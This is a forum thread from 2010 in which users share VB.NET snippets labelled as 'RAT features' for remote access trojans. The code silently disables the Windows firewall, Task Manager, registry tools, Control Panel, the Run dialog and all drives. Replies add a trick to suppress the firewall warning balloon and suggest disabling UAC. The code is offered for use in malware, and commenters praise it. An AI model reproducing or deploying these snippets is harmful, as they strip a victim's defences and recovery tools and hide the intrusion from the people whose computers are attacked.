Thread: [\[VB.NET\] Enable/Disable \(RAT FEATURES\)](#)

Matt39 - April 3, 2010, 6:10 am

Regedit

-----Enable

```
Code Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v  
DisableRegistryTools /t REG_DWORD /d 0 /f ")
```

-----Disable

```
Code Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v  
DisableRegistryTools /t REG_DWORD /d 1 /f ")
```

Windows Firewall

-----Enable

```
Code Dim Proc As Process = New Process
```

```
    Dim top As String = "netsh.exe"
```

```
    Proc.StartInfo.Arguments = ("firewall set opmode enable")
```

```
    Proc.StartInfo.FileName = top
```

```
    Proc.StartInfo.UseShellExecute = False
```

```
    Proc.StartInfo.RedirectStandardOutput = True
```

```
    Proc.StartInfo.CreateNoWindow = True
```

```
    Proc.Start()
```

```
    Proc.WaitForExit()
```

----Disable

```
Code Dim Proc As Process = New Process
```

```
    Dim top As String = "netsh.exe"
```

```
    Proc.StartInfo.Arguments = ("firewall set opmode disable")
```

```
    Proc.StartInfo.FileName = top
```

```
    Proc.StartInfo.UseShellExecute = False
```

```
    Proc.StartInfo.RedirectStandardOutput = True
```

```
    Proc.StartInfo.CreateNoWindow = True
```

```
    Proc.Start()
```

```
    Proc.WaitForExit()
```

Edit: Added More

Taskmanager

-----Enable

```
Code Dim key1 As RegistryKey = Registry.CurrentUser
```

```
    Dim subkey1 As RegistryKey
```

```
    subkey1 = key1.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\System",  
True)
```

```
    subkey1.SetValue("DisableTaskMgr", 0)
```

---Disable

```
Code Dim key As RegistryKey = Registry.CurrentUser
```

```
    Dim subkey As RegistryKey
```

```
    subkey = key.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\System",  
True)
```

```
    subkey.SetValue("DisableTaskMgr", 1)
```

Disable Balloon Popups

```
Code Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v
```

EnableBalloonTips /t REG_DWORD /d 1 /f ")

Disable all drives :)

Code Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDrives /t REG_DWORD /d 3FFFFFF /f ")

Disable Control Panel

Code Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f ")

Enable Control Panel

Code Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 0 /f ")

Disable RUN

Code Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f ")

Enable RUN

Code Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 0 /f ")

Change the Registered Change the User Information

Code HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion.Change the value of "RegisteredOrganization" or "RegisteredOwner", to what ever you want

Pentoxide - April 3, 2010, 6:31 am

Hmm, nice share dude D: keep em coming'

Samuell - April 3, 2010, 8:10 am

Nice, but if you run that command to disable windows fire wall, a little balloon will pop up alarming the user :p.

Just use this

Code Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v EnableBalloonTips /t REG_DWORD /d 1 /f ")

codepoet - April 3, 2010, 2:49 pm

very sexy coding.....good work

[iSphynx] - April 3, 2010, 4:19 pm

Very nice share, great for my use atm! i look to see more, i believe theirs a task manager one around here too!

Bump

Added Task Manager, Any more?

Added some more :) do ask for any regedit rat features you may want

JohnWayne - April 4, 2010, 5:14 am

You could add disable UAC ;-)

TheBlackMarket - *October 14, 2010, 12:54 pm*

Really nice mate! thanks for the cool share.

Mr. Anderson - *October 14, 2010, 12:56 pm*

thanks for the snippets :)

avivagoeng - *October 15, 2010, 4:19 am*

code that is beautiful and short.

very good

?

Icy Wind - *October 15, 2010, 4:27 am*

Nice share indeed, keep it up :)
